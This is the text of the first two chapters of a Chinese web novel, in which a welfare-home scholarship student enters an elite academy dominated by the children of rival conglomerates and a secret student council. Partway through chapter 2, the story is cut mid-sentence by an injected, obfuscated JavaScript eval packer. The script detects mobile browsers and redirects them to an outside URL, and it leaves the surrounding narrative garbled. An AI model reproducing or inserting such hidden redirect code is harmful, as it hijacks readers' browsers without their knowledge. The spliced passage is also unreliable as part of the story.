《贵族学院伪善大小姐》 1. 欢迎来到盛禾高 以前,申绿妍从不知道自己住在乡下,只觉得自己生活的地域比电视上的要更平坦开阔,除此以外,没什么不同。 现在,她被选为盛禾高等学院的新一届社会救助生,搭车离开生活了十八年的福利院,来到高楼林立、寸土寸金的首都。 站在车流不息的十字路口,申绿妍心生彷徨,第一次明白了什么叫城、什么叫乡。 这里的一切,看上去都比海水还要冰冷,包括那些摆在货架上叠得整整齐齐的柔软毛巾。 申绿妍来自浦川,一个靠海的落后小城市,有过亲生母亲,后来没有了,至于父亲,她的世界不存在这个词汇。 浦川市月见福利院的申院长,是申绿妍没有血缘但在心中认定的母亲。 申院长曾是一名海女,在水下捕捞海胆、牡蛎、鲍鱼,后来成了福利院院长,在陆地捡拾无助的婴孩,先天残疾的、非婚生育的、母父意外离世的…… 在浦川,被抛弃或被放养的孩子就跟海里的鱼虾一样常见。 还好,这几年没多少人愿意生小孩了。 申院长得以松一口气。 “我这辈子只做了一件事,”申院长时常咧嘴笑着,弯腰,伸长手臂抓一把空气,再直起身来,骄傲地挺起胸膛,黝黑的脸庞上是一口泛黄的牙齿,“就是捡东西。” “才不是呢!”小申绿妍总会推开一众孤儿,挤到女人跟前,把两根并拢的手指贴到嘴巴上,“您还要抽烟!臭得要死,宋医生说您再抽就活不长了!” 每当这时,申院长就会用她那关节粗大的手掌拍打申绿妍的屁股,笑骂,“不管怎么说,我都能活到你这个小家伙考上大学的时候,好啦,快去写作业吧,去!别到时候连学院都念不完,你这身板可不适合当海女。” 小绿妍得寸进尺:“那我写完作业能不能画一会儿画呀?” “有这时间不如多看会儿书,不过,你要是想在草稿本上画两下就画吧——等等!你不会是想用仓库里那些水彩颜料吧,申绿妍,你回来,那是留给赞助人来这边写生用的!” 其他小孩一齐扑上来,抱住申院长的大腿,叽叽喳喳地缠着她撒娇, “让她画吧,院长妈妈!” “我要看绿妍姐姐画的小蝴蝶!” “绿妍姐姐画得好看……” 申院长无奈地低下头,看着眼前的稚嫩笑脸,忧心忡忡地说,“唉,一群爱玩的傻瓜,以后怎么和别的孩子竞争啊……” 申院长的担心不无道理。 本国经济结构高度集中,几大财阀集团的影响力渗透了政治、教育及社会资源的各个层面,普通民众的上升通道愈发狭窄,导致教育竞争从幼儿园起便进入了白热化阶段。 学生们都以进入SKY(顶尖大学)为终极目标,压力巨大,自鲨率居高不下。为了缓解相关社会焦虑,应对就业市场的结构性矛盾,政府在中学和大学之间增设了三年的过渡学制,即学院制。 学院三年,除开基础课程,学生们还要根据自身兴趣与能力,自由选择修习课程,深入学习。学生在学院中的选课与成绩,将直接影响其升学与专业分流。 此外,项目制学习、志愿服务、学术竞赛、文体活动等均被纳入考评体系。而这些内容考察的不仅仅是个人能力…… 总而言之,就是一个字,卷,四个字,又癫又卷。 卷出一群疯子也不奇怪。申绿妍暗自想着,走进盛禾高等学院,这所全国排名第一的学院。 和墙体皱皱巴巴如老者皮肤的浦川学校不同,盛禾高的建筑以白色为主体,处处精致典雅。 地面像海边的白沙一样明亮,却比白沙坚硬平整。 按照指示牌的指引,申绿妍忐忑地走进教师办公室,办理入学手续,随后被班主任领着走进一年级一班的教室。 窗外开着一大片白润的木莲花,甜香混在料峭晨风中,徐缓入室,清新淡雅。 “我叫申绿妍,请多多指教。” 申绿妍站在讲台上这样说,台下的学生都一脸漠然地看着她。 申绿妍微微低了头,轻耸鼻尖,怀疑是自己身上的鱼腥味先她一步向众人打了招呼。但她能闻见的只有沁凉的木莲花和薰衣草洗衣粉的味道。 申绿妍借住在同样出身月见福利院的前辈家中。制服一直晾在她狭小昏暗的卧室里,没有沾上油烟。 来学校之前,她特意洗了澡,一边给自己卷刘海,一边用吹风机吹制服,还用了前辈送的灰粉色口红。 照着镜子,申绿妍觉得自己和首都的普通学生没什么不同。 但等眼前的平面从镜面变成原木色的讲桌台面,她就看不清自己的模样了。 班主任拍了拍她的肩膀,语气略有些不耐烦,“去吧,你的座位在最后一排,闵世珍是你的同桌。” 她不认识闵世珍。而且第二排正中还有一个空位,为什么不让她去坐?她很想坐在前排学习的。 申绿妍默默在心中顶嘴,走向最后一排的空位。 坐在最后一排、齐耳短发被挑染成绿色的女生鼓了鼓掌,怪叫,“欢迎!浦川人!” 申绿妍立刻反应过来,这就是闵世珍,欢迎她的语气像在说:到我这来,狗狗! 教室里立刻爆发出哄笑声,像是一群恼人的蜜蜂,贴在她的耳边,嗡嗡嗡,申绿妍不由得放轻脚步,仿佛在害怕谁会突然冲出来蜇她一口。 班主任用卷成筒状的书敲了敲讲台:“保持安静,现在开始自习。” 学院制在申绿妍眼中是极其混乱的一种学制,既有中学的考评制度,又有大学的管理方式,夹在中间的学生们很容易滑向两种极端,极度刻苦或极度放纵。 闵世珍似乎是后面那一种。 申绿妍坐在靠过道的位置,目光掠过闵世珍的绿头发,落在她的课桌上。桌面凌乱地摆着资料书、水性笔、黑管口红、纯白的菱格吸管杯还有一支玫瑰紫外壳的电子烟。 她轻声发问:“你怎么知道我是浦川人?” 申绿妍不该问的。 按照她在浦川中学的生存法则,被人嘲笑时,应该做的就是保持沉默,让对方觉得无趣,而非反问,激化矛盾,让讥讽变成恼怒。 但申绿妍忍不住。 她自认为没有口音,来之前也仔细打理过自己,所以,为什么?不问的话,她会疑惑到无法安眠,自我否定到再也抬不起头来,也会不断懊悔——我当时为什么不问一下呢? 申绿妍觉得自己是疯了,升入富人的学校,就开始讲究什么自尊了。 闵世珍的笑容僵了一瞬,随即在下巴尖翘的小脸上无限扩大,“啊,因为我们尤莉在办公室看见了你的档案。” 一个把头发烫成波浪卷的女生隔着过道朝申绿妍挥了挥手。 “真羡慕你,绿妍。”金尤莉微微俯身,探头来说,“月见福利院是我们公主的爸爸姜馆长赞助的吧?那你一定是庆英医疗资助的学生了,命真好啊,庆英每年的资助人选都是我们公主亲自定的。” “傻瓜啊傻瓜,”闵世珍翻了个白眼,“月见美术馆的馆长也姓申啦!” 金尤莉吐了吐舌头,没什么诚意地说了声对不起。 见申绿妍对这番话没什么反应,金尤莉接着说,“你不懂啊,绿妍,庆英集团会给她们的社会救助生提供超多资源,每一个庆英出身的孩子最后都发展得超好,院长、议员、检察官……当然啦,大部分也都选择为庆英效力了。” “唉,像我们这种不上不下的出身,哪有直接给顶级财阀当狗舒服。” 申绿妍看向金尤莉不停晃动的裤管下、那双闪粉水晶带的高跟鞋,陷入沉默。 她在商场里做兼职的时候见过那款鞋,摆在明亮的橱窗里、路过时只敢偷偷瞥一眼的鞋。 多看一眼都是罪过,痴心妄想的罪。 命好?是指你们一双鞋抵我几个月生活费的命吗? 那来交换好了。 申绿妍的沉默取悦了金尤莉,她微微翘起唇角,继续用炫耀的语气说着羡慕的话,“而且啊,近几年的救助生都是庆英医疗姜会长的独生女在负责,我们公主简直大方到没人性了,你有没有收到庆英的汇款?” “听说有一年的救助生收到那笔钱,直接退学回家乡开炸鸡店了,蠢货,财阀的钱哪有那么好拿。” 金尤莉啧了一声,见申绿妍盯着她的腿。她得意地压低上半身,凑得更近,长卷发随之垂落,浅棕色的瞳孔中闪动着金色光点,“不过,我们公主千好万好,只是有一点……” 她拉长语调:“太——霸——道——” 金尤莉微微偏头,朝她的墨绿色长裤努嘴,“她一入学,就以自己怕冷为由,把女生的制服从裙装改成了裤装,晕,冷就穿腿袜啊,公主!其他学院的学生都在背后叫我们男人婆!” “唉,为了这个,我前两天开学的时候还在跟家里人哭,说我想去雅莱女子私立学院,那里的制服都由当年大热爱豆的造型团队负责设计,结果我妈抓着我的头发让我别发疯,像扔垃圾一样把我扔进了学校。” “啊,我珍贵的头发掉了好几根呢……” 金尤莉喋喋不休地讲述着申绿妍并不感兴趣的事情,虔诚地双手合十,抬眼望向天花板,“公主今年就二年级了,希望她毕业之后,校董们能把制服改回来,到时候我一定会拍照发Queli庆祝的!” Queli,Question与Lique的组合,是国人最常使用的社交平台,标语为:流动的问题总能得到解决。 沉默已久的闵世珍开口:“你疯了吧,金尤莉,谁允许你在背后说潇潇姐的坏话?” 金尤莉翻了翻眼皮:“得了吧,世珍呐,是谁——” “谁?” 鞋跟撞击地面发出的一记“咔哒”脆响后,女人带着笑意的嗓音响起。 空气为之凝固,就连早春时节湿润微寒的风也没了动静。 申绿妍的视线顺着那条合体的墨绿色长裤向上攀爬,掠过同色的戗驳领西式外套和内搭的白衬衫,落在来人的面容上。 线条流畅的鹅蛋脸,肌肤白皙、透着均匀薄淡的桃粉色,黑色眼眸清亮有神,嘴唇是润泽透亮的樱桃红,就连扎在脑后的高马尾都格外立体清爽。 申绿妍腹诽:一看就是生理期不用吃止痛药的样子。 申绿妍知道来人是谁,姜潇,庆英医疗姜世英会长与月见美术馆申馆长的独女,她世俗意义上的……恩人。 福利院发给孩子们的每一份新年礼物里,都有印着庆英集团一家三口照片的宣传手册。 一年又一年,姜潇站在照片正中的位置,越发挺拔、意气风发,像一棵扎根在肥沃土壤上的大树,风雨不动。 申绿妍就是大树旁的一棵小苗,既敬畏她,又忮忌她。扭曲情感像藏在阴影里的毒蛇,不时蹿出来,缠绕挤压她尚未成熟的灵魂与骨骼。 “在聊什么?” 姜潇微微笑着,朝申绿妍颔首,随即看向金尤莉。 金尤莉维持着双手合十的模样,可怜巴巴地向上看去,撒娇卖痴,“在说——您什么时候能把制服改成裙装啊,潇潇姐,我真的真的很想穿裙子。” “这是校董会的决定,尤莉,我做不了主。” 姜潇垂眼,似真似假地说着,并未像以前那样,柔声安慰她:我们尤莉穿裤子也很好看啊。 “呀,金尤莉!” 一个站在姜潇身后,栗棕色头发扎成低丸子头,神情讥诮的单眼皮女人开口了,“我没记错的话,你们今天有体育课吧,穿跟这么高的鞋子是想把脚踝扭断吗?” 金尤莉放下翘起的脚,嘟囔,“体育课之前我会换掉的嘛,宥珠姐你好凶……” 金尤莉心里清楚,白宥珠不是真的看人穿高跟鞋不爽,她是见不得自己对姜潇撒娇。 真受不了,公主身边的“仆人”又不止一个。金尤莉在心里不停骂白宥珠贱人,面上依旧是那副可怜巴巴的模样。 白宥珠是Queli传媒理事长的小女儿,远的不说,得罪了白宥珠,把自己粉丝量高达21k的社交账号搞封了怎么办! 更严重的,万一白宥珠不允许她参加为盛禾高女学生特办的男模会怎么办! 金尤莉绝不能失去她乏味人生中的最后一点甜! 金尤莉越想越委屈,棕色瞳孔上蒙着一层薄薄的水雾。 姜潇侧过脸去,对白宥珠低语几句,后者重新露出笑容,不再挑金尤莉的刺。 “尤莉啊,这周六可不能再穿高跟鞋了,知道吗?”姜潇说着,将一封邀请函放在她的桌面上,“你会来陪我们打高尔夫的吧,嗯?” 金尤莉惊喜地捧起那封淡粉色的邀请函,破涕为笑,“我一定会来的,潇潇姐,下辈子也不穿高跟鞋了!” 申绿妍对金尤莉又哭又笑的表现颇为不解,就在这时,姜潇曲指轻轻敲了敲她的课桌,提醒她回神。 “我让财务在假期之前汇款给你,没收到吗?你的BMI看上去好像只有个位数,是我的角度问题吧?要好好吃饭啊,绿妍。” 姜潇的语气依旧温柔,带着一丝笑意。 申绿妍窘得红了脸,“收到了,我全都存起来了。那实在是很大一笔钱,谢谢您。” “应该的,毕竟你是庆英的资助生。”姜潇没有评价申绿妍的做法,面不改色地拿出自己的校园卡,月光银卡面上印着一株金色的鸢尾花,递过去,“不过你都道谢了,我总得做点什么回馈这份谢意?给,留着吧,会让你的校园生活轻松许多。” “潇潇姐偏心!”金尤莉 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“然后去星烨科技工作?” 姜潇依旧维持着笑容,眼神温柔,仿佛在看一个无理取闹的学龄前儿童。 “是的,因为……” 申绿妍神色黯然地低下头,“起薪很高。” 闵世珍意味不明地哼笑一声,似乎在嘲笑她的短视,申绿妍将头压得更低了。 “好吧,不过这才刚开学,还有很多可能不是吗?” “欢迎你加入盛禾高,绿妍。” 视野里那抹厚重的绿色消失了。 凝滞的空气流动起来,清甜的花香再度涌入鼻腔。 姜潇的离去却没有让申绿妍感到轻松。 她的心情更加沉重了。 申绿妍自认为不是一个真正善良的人,在浦川中学,她拼命读书,漠视他人的苦难,必要的时候,她还会对爱重自己的老师撒谎、给混混们说好话,颠倒黑白,以此远离欺凌。 但她也不是一个完全的坏人,没办法坦然接受、利用恩人的好意。 如果、如果姜潇对她再坏一点就好了,她就可以…… 申绿妍卑劣地想着,同时又为自己的卑劣感到羞耻和痛苦。 这样的情绪她一点也不陌生。 所以,申绿妍把资助款存了起来。她想尽快工作、尽快赚钱,把这些年的生活费和资助款一起还给庆英集团,然后,畅快地去过她自己的人生。 没错,畅快,她承受了太多的善意、怜悯或嘲讽,从来没有一刻感到畅快。 “呀,你疯了吧?” 闵世珍惊讶的声音将她拉回现实。 “你不知道公主和星烨科技的权在烨是死对头吗?” “不知道。而且,你们为什么不当着她面叫她公主。” 申绿妍生硬地说完,在心里骂了自己一句贱人,想着要独立自主,却还是因姜潇的支持而狂起来了。 闵世珍嘴角抽搐,抬手捋了捋耳边的绿发。 申绿妍下意识闪躲,又在闵世珍戏谑的眼神中,强迫自己克制住本能反应、挺直脊梁。 金尤莉捧着邀请函叭叭亲了两口,用一种唱歌般的语调说,“因为公主不会搭理当着她面这样叫她的人呀,但这是事实,我们唯一的公主,真是太好了,我要拿着这张邀请函让我妈买个新包包!” 闵世珍看不上金尤莉这副作态,撇了撇嘴。 “蠢货。” “比起来,你还没有那么蠢,”闵世珍用审视的眼光看向申绿妍,“至少清楚自己的斤两,没有救助生拿过冬赏的金奖,从来没有。” 金尤莉把邀请函压在心口,咯咯笑两声,抬眼看来,“喂,闵世珍,你跟救助生说这个干嘛,害怕她有公主的支持把你比下去吗?” “你家给盛禾高艺术部的部长塞了不少钱吧,不是已经拿到今年的题目了吗?” “我要是你——” “你懂什么!” 闵世珍暴怒,噌地站起来,椅子腿擦过地面发出刺耳的响声。 教室为之一静,前排学生好奇地转头来看。 一个戴着黑框眼镜、长相清俊的高瘦男学生站起来,皱着眉说,“不要打扰到大家,闵世珍。” “不用你提醒,救助生。”闵世珍比了个不友好手势,翻着白眼坐回原位,怨毒地盯着偷笑的金尤莉,“管好你自己吧,金尤莉,与其想着买包包,不如多给你爸买几个套。” “外面的女人都闹上门了,你还满脑子P图、男模、新包包,我是你妈就把你掐死。” 申绿妍坐姿僵直,紧张得不敢呼吸。她已经准备好在两人打起来的那个瞬间,抱着头躲开了。 顺利的话,她能贴着墙走开,不顺利的话,她就躲到桌子下面。 但她臆想中的暴力场面并未出现。 “别生我气嘛,世珍,开玩笑的。”金尤莉再度掐着嗓子撒起娇来,“我们可是最好的朋友,你不会生我气的对不对?” 闵世珍冷笑着别开脸,把玩她的电子烟。 “我们世珍最大度了。”金尤莉笑眼弯弯,拽了拽申绿妍的衣袖,“你说对不对,绿妍?” 申绿妍没有接话。她已经发现这两个人都是神经病了。 金尤莉也不恼,收回手再度双手合十,对着那张邀请函拜了拜。 “保佑我在周六一杆进洞……我就可以请公主和她的朋友们在Twilight吃晚餐了。” “呀,救助生,你很纳闷吧,为什么打进球了反而要请吃饭?” 不,她不好奇,一点也不想知道那个与她无关的世界如何运转。申绿妍捏着笔,一笔一划地,在基础课课本上写下自己的名字。 申。绿。妍。 她盯着这三个熟悉的文字,硬直的线条开始拆分旋转,带来令人恐慌的陌生与眩晕。 金尤莉不知疲倦地说着话,像一只捍卫领地的、焦虑的吉娃娃。 “我告诉你呀,这可是很珍贵的社交机会,只有一杆进洞的人才能请客、给球童小费——呀,闵世珍,不要在教室里抽烟,臭死了!” “蓝莓味的,蠢货。” 闵世珍踢了踢申绿妍的椅子腿,走出来,把玫瑰紫的圆筒贴在唇边,吸了一口,俯身,薄淡白烟喷在金尤莉脸上,模糊了她娇憨的面容。 金尤莉咳嗽着挥手:“你要死啊!” 申绿妍抬起头,只见那个戴着黑框眼镜的男生坐在自己的座位上,一动不动,似乎是不打算再站出来维持秩序了。 砰的一声,闵世珍摔门而去。 震荡从墙体传至课桌,震得申绿妍的指尖微微发颤。 2. 鸢尾花密会 走出教室,掩上门,姜潇顿住脚步。 她垂下眼皮,注视着玻璃一样反光的天然大理石地板。树影落在地面,如同青萍,在澄澈的水面上漂浮。 半掩的门后如预想的那样,因她而展开一场争论。 权力交易、恶性竞争、隐秘贿赂,在盛禾高,这些是跟呼吸一样常见且无法避免的东西。 姜潇站在走廊上,面无表情。 白宥珠关切地问:“怎么了,昨天没睡好?” 姜潇微微一笑,语气温柔,眼神淡漠而倦怠,“有点。” 白宥珠非常了解她,这是不想说话的意思,随即从口袋里摸出手机,若无其事地刷起来。 教室里,闵世珍被金尤莉激怒,暴起,椅子擦过地面发出刺耳的噪音。 “闵世珍疯了吧?”白宥珠收起手机就要推门进去。 姜潇抬手制止她。 一道朗润如珠玉的男音响起:“不要打扰到大家,闵世珍。” 姜潇回头,视线穿过门缝,对上一双幽深的黑色眼瞳。 戴着黑框眼镜的少年男人注意到她,眉头舒展,矜持地抿唇,微微颔首,就算打过招呼,在闵世珍的谩骂中坐回原位。 姜潇对这个人有印象。 裴知灏,从南部升上来的第一名,本来也在庆英的资助名单里,却以拿了全奖为由申请取消资助名额。 资助这种事情,姜潇只需要在文件上打个勾,签个字,别的都由专员负责,所以并不把裴知灏这件事放在心上,取消就取消了,她再在另一份文件上签个字就可以了。 一阵夹杂着水汽与清冽花香的风穿过走廊,姜潇适时收回视线,对上白宥珠略带试探的眼神,微微一笑,“走吧,去开会,崔聿上周发过通知。” 提起盛禾财团的准继承人崔聿,白宥珠立刻嫌恶地拧起眉,挽住姜潇的手臂,一边走,一边抱怨,“他有什么资格组织会议?” “在娜姐三年级了,很快就会卸任,但那不代表下一任主席就是他崔聿,竞选都没开始,”白宥珠拿脸蹭了蹭姜潇的肩膀,“我还没给你投票呢!” “你要给我投票?”姜潇佯装讶异地挑眉,“我以为你也会参加竞选。” 两人慢吞吞地走着,胸口的名牌被阳光勾勒出金边,投影在白墙上时而交叠,时而分离。 白宥珠瞪她一眼,嗔道,“和你竞争?我才不会做没有胜算的事情,而且,我只要再拿一个夏庆的奖项,申请首都大学声乐系的材料就准备完毕啦。” “我不像你,什么都要做到最好,我呢,”白宥珠比了个OK的手势,眨眨眼,“六十分万岁!” “啊,话说回来,”白宥珠夸张地叹了口气,“崔聿那家伙真的很讨厌不是吗,那副自以为高人一等的样子,真是欠扇……” 姜潇似笑非笑地说:“也许吧。” 盛禾财团靠实业起家,如今又涉足教育,拥有全国排名第一的盛禾高等学院,实力可见一斑。 据传,崔氏一族的发家史比本国历史还要悠久。崔家人也因此自视甚高,以顶级世家自居,不屑与“二流”财阀为伍。 然而,这样的顶级世家近年来却在大搞教育,明摆着——看不起所有人,但看得起诸位口袋里的钱。 普通人是土、是沙、是尘埃,时代的洪流奔涌而过,崔氏一族从里面淘出了金子。 崔家长子崔聿更是把那种傲慢虚伪的作态发挥到了极致,满嘴仁义道德、规矩风度,实则一言一行的背后都烙着特权的钢印。 姜潇和崔聿的关系就跟庆英与盛禾两大财团一样,势同水火。竞争持续了十余年,从幼儿园的小红花,到升学后的年级第一、班长、主席,两人无所不争,恨毒了彼此,连祷告时都不忘诅咒对方去死。 说笑间,两人走进专用电梯。 白宥珠抽出自己的校园卡,贴在感应区,最顶处的按键随之亮起,一道柔和而不带感情的女音说了声欢迎。 电梯门缓缓关闭。 白宥珠对着监控的位置,比了个中指,“呀,监控室的员工,告诉崔聿,总有一天我要扇死他,欠揍的家伙。” 姜潇轻笑:“别发疯,宥珠。” “发疯的人是姓崔的才对,他凭什么大早上的叫人去开会。”白宥珠抱怨着,却因为姜潇的嗔怪表现得很高兴。 姜潇半真半假地说:“在娜姐最近很忙,总要有人组织这件事。” “那个人只能是你啊,宝贝。”白宥珠说完,看着显示屏上跳动的数字,瘪嘴,“马上就要见到那个晦气玩意了。” 通往顶层会议室的电梯门应声而开。 窗明几净的室内,连灯光下的微小浮尘都呈现出半透明的质感。 象牙白扶手椅绕着中央的大理石桌围成半圆,石桌中央淡蓝色的自然纹理恰似一朵盛开的鸢尾花。 参会者到了大半,都是熟面孔,纷纷向姜潇和白宥珠点头致意。 “早呀,潇潇,宥珠。” “早,书雅。” 崔聿站在窗边,冷色调的光线勾勒出修长身形,白衬衫规矩地扣到最顶。 他把玩着手中的钢笔,眉如刀裁,眼睫半垂,鼻梁高挺,矜贵而淡漠,“还有一分钟,会议就要开始了。” 装货。 姜潇暗骂,面上依旧挂着淡笑,“是吗?” 她径直走向最中央的位置,扫开椅背上的墨绿色西式外套,印着“崔聿”二字的暗金色名牌随之跌落在地,发出几不可闻的低微闷响。 姜潇落座,手肘支在大理石桌面上,十指交叠托住下巴,“那就开始吧?” 她笑眼弯弯,态度礼貌而敷衍,像在对待一位名不见经传的讲师。 主客易位,崔聿懒懒掀起眼皮看向姜潇,沉静黑眸中满是不耐与厌恶。 姜潇坦然迎上他的目光,笑意不减。 压迫感在会议室中蔓延。开阔空间好似骤然收缩,说笑声戛然而止。 白宥珠噗嗤一笑,踢了踢那件外套,挨着姜潇坐下,浮夸地瞪大眼睛,“哎呀,我不是故意的,您不会生气吧,崔聿?都怪我太急着参会了,没看见您的外套。” 崔聿对这番挑衅没什么反应。 白宥珠就是只整日围着姜潇飞舞、嗡鸣的蜜蜂——不,是苍蝇,他还不至于跟这种货色较劲。 怒火被一股荒诞感取代,崔聿移开视线,缓步走到长桌前,面对所有人,冷声道,“时间到了——” “呀!” 又是白宥珠。她环顾四周,故作不解,“可是人还没到齐呢,书雅,那三个空位是谁的?” 赵书雅是大法官的女儿,负责会议记录,突然被cue,有些意外,但也只能硬着头皮回答,“嗯……没来会议室的是一年级的文瀚元和二年级的权在烨。” 赵书雅不想成为白宥珠膈应崔聿的工具,只说谁还没到会议室,并不肯定余下的非中心位之一属于崔聿——她是知道的,金字塔尖上那两个人对C位的执念比爱豆还恐怖。 赵书雅保持着温婉笑容,捏着电容笔往平板上画了无意义的一笔,在心中磅礴地骂道:草塔大坝的,Boss打架,小怪遭殃。被告席的C位你俩还抢不抢? “诶?原来今年的先导生是瀚元啊,”姜潇说,“真遗憾。” 先导生是盛禾高的一项传统,特指一年级中家世最为显赫的学生——这类人无需竞选,即可在学年初期参与鸢尾花密会。 姜潇和崔聿就是上一年的先导生。 当时的会议名字还是“鸢尾花密约”,听起来像是一场在古堡里举行的邪门仪式。 姜潇和崔聿达成罕见共识——这个羞耻的会议名称必须立刻废止。 那是两人第一次也是唯一一次的合作,向校董会建议改名,并且,劝说那位反对改名的中二艺术部老部长把架在脖子上的美工刀挪开。 这段经历太过荒唐,姜潇和崔聿都不曾对旁人提及。 “遗憾什么?”崔聿眸色深深,凝视着姜潇,冷声问。 姜潇托着下巴,慢吞吞地说,“瀚元身体不舒服,请假了。至于在烨嘛,被权叔叔禁足了,我以为你知道呢,毕竟,会议人数不得少于十三个人,否则只能延期。同样,为了展示鸢尾花密会对新生力量的接纳与支持,没有一年级学生参与的会议应该——取消。” 白宥珠业务熟练地接话:“我们这儿只有十二个人,还没有先导生,怎么办啊?该取消还是延期?” 白宥珠看着惊惶,眼珠里却闪着明晃晃的恶意。 崔聿气定神闲地放下钢笔,微抬下颌,清冷灯光斜切过他的眉骨,在眼窝投下一小片淡灰色的阴影。 “照常开会。” 很明显,这是姜潇为了恶心他耍的一点小手段。 星烨科技的权在烨和万鹭联运的文瀚元是表兄弟,却毫无相似之处。前者顽劣嚣张,不学无术,后者谦和稳重,为人称道。 这两人还有一个更接地气的区别,文瀚元是姜潇的爱犬——权在烨则是专咬姜潇的恶犬。 归根究底,都是受姜潇摆布的棋子。 崔聿心中鄙夷,慢慢悠悠地转头,“我恰好邀请了一位一年级学生来旁听会议。” 闵世珍局促地走了进来,紧攥着玫瑰紫的电子烟,勉强对众人点头微笑。 “闵世珍……”赵书雅看了看她胸口的名牌,低头查找资料,“可是,闵家总资产不满足入会标准。” 白宥珠掩唇笑了起来。另有几人也泛起嘀咕。 “谁啊?” “不认识……” “你什么记性,之前参加过你的生日派对的。” “来我的生日派对干嘛,当服务生?” “哇,你这家伙真够刻薄的!” “哈哈,开个玩笑。” 闵世珍难堪得红了脸,垂下眼睫,遮住怨毒的目光。 姜潇无动于衷地把玩着手指。 “旁听,不是入会。”崔聿重申,示意闵世珍入座,“我是闵世珍的邀请人,会议内容和她也有一点关系。” 他的嗓音清润,语气却掺了些说不清道不明的嘲弄意味。 闻言,闵世珍脸上的血色瞬间退去。她心慌意乱得很明显,连崔聿的眼色都没看见。 闵世珍不知道将要发生什么,但直觉告诉她不是什么好事。她下意识看向人群中心的姜潇,目露恳求。 赵书雅不再提问。 议论声暂歇,姜潇对闵世珍露出微笑,抬起下巴指了指左方的空位,“坐瀚元的位置吧,世珍,大家都是盛禾高的学生,放轻松一点。” 密会中的每个人都有固定座位。 去年坐C的是星烨科技长女,主席权在娜,姜潇和崔聿一左一右挨着权在娜坐,倒没因为位置闹出什么矛盾。 今年,权在娜升入三年级,忙于升学,无暇参会,又即将卸任主席,两人的心思就浮动起来。 崔聿抢先一步,定下第一场会议的时间,还想抢夺话语权,对会议主题保密,姜潇就让文瀚元请假,害权在烨被关禁闭,让人数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055000|194855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不满足开会规定。 崔聿撤掉两人的专座,仅保留中心座位,想看姜潇难堪,就别怪她把他的名牌放在脚下踩。 至于崔聿叫来的闵世珍,不管她现在站哪边,姜潇都不是很在意,反正结果都一样。 “坐呀,世珍。”姜潇笑得愈发真心实意,乌黑的眼瞳沁着水色,清透明亮。 闵世珍松开咬到发白的下唇,干巴巴地道过谢,入座。 崔聿意味不明地轻笑一声,让人把一撂文件发下去。 没翻两页,白宥珠炸了,“疯了吧,崔聿,你要取消密会提前分配夏庆奖项的权力?” “不止。”崔聿双手撑在桌面上,身体微微前倾,盯着姜潇的发顶,一字一顿地说,“这学期开始,校内奖项将完全公开,供全校学生申请。” “我知道,盛禾高一直都有按家族资产划分学生等级的传统,各位也习惯了以此欺凌其他学生,但从数据来看,这对盛禾高的发展并无益处。” “这样的局面,是时候结束了。” 崔聿从进入盛禾高开始,就以学校主人的身份自居,力图革新,希望能在升入首都大学之前,做出一番成就来。 崔聿不是蠢货,但傲慢得令人发指。 姜潇对他做出这样的傻缺决定一点也不意外。 虽说各大集团之间利益勾结,学生们也根据利益关系划分阵营,但这肯定不是“顶级世家子”崔聿需要考虑的事情啦。他不屑倾听二流家族的声音,发起疯来,哪边儿都要挨一巴掌。 姜潇翻看着文件,指甲深陷在掌心肉里,忍住捧腹大笑的冲动。 真可爱。 “另外,盛禾高将严惩贿赂各类赛事评委的学生。不过法不溯及既往,恭喜某些同学逃过一劫。”崔聿从容地说完,会议室里陷入死一样的寂静。 闵世珍不敢置信地看着文件,上面将她列为反面典型,闵家给艺术部部长开的支票也被放了出来。 闵世珍脑中一团乱麻,双手不受控地发抖。 一阵接一阵的耳鸣袭来,脑海中的一道声音却愈发清晰。她绝望地想到:这份文件要是公布在校园官网上就完蛋了,爸爸会打死她的。 该死的崔聿…… “说得好。”姜潇拍了拍手,抬起头来,笑意盈盈,“但你似乎有点听觉处理障碍,崔聿,在问你话的人是宥珠,不是我,看我干什么,是需要我帮你安排一次体检吗?” “或者——” 姜潇托着腮,对右侧几人开外的一个男人说,“孝荣啊,请你爸爸为崔聿驱个邪吧?” 朴孝荣是牧师之子,眉目清朗,面对姜潇的打趣,故作为难道,“我爸爸可不会驱邪,得请我的姨婆来,她是巫女。” “需要她的联系方式吗?我用Queli传给你。” 朴孝荣假模假样地点了几下手机屏幕,皱起眉,“糟糕,我们的Queli没有互关,只能发一条私信,我已经把给你发消息的宝贵机会用掉了。” 朴孝荣一年前入学的时候给姜潇发过私信,不过是“请多关照”之类的客套话,姜潇认为这没什么回复的必要。 现在嘛,她对朴孝荣的表现还算满意,配合一下也不是不行。 姜潇不置可否地笑笑,摸出手机来,“关注你了。” 朴孝荣捧着手机欢呼:“耶,我这就把头像换成腹肌照!” 会议室中顿时笑成一团,更有相熟的男人肘击朴孝荣的腹部,“朴孝荣你这狗崽子!” 朴孝荣接了一拳,夸张地趴在大理石桌上,侧着头,晶亮的眼直勾勾地看着姜潇。 “够了。”崔聿冷声道。 他的面容沉静,看不出情绪。 “回去就让审核封了你,擦边男。”白宥珠的反应更大一些,骂完这头又看向崔聿,“还有你,是不是有病,自己的奖项拿够了就不管其他人了?” 崔聿并不容易被激怒,只摆出那副冷峻矜贵的模样,回答,“这个决定不是出于我的一己之私,校董会尚未进行投票表决,你有异议可以及时向校董会提出——虽然不一定有效。” 崔聿敢开这个会,就表示他有足够多的筹码让大部分校董支持这项决议。 白宥珠恼火地比了个中指,丢开文件,意兴阑珊地向后靠上椅背。 平心而论,这份文件对她们的约束力并不高,就像把大家原本动动手指就能够到的东西放远了一些,需要站起来才够得着。 为着这点小事,不值得大动干戈,跟崔聿撕破脸。 刺头白宥珠发泄完情绪,熄火了,姜潇又淡然地翻看着文件,不知立场,其他人也就无话可说了。 见状,崔聿环顾四周,“那么,会就开到这里,大家可以回教室了。不要逗留太久,十分钟后有一场电路检修,会停用电梯。” 扶手椅被拉开发出的吱吱声不断响起,众人或结伴、或独行,接二连三地离开会议室。 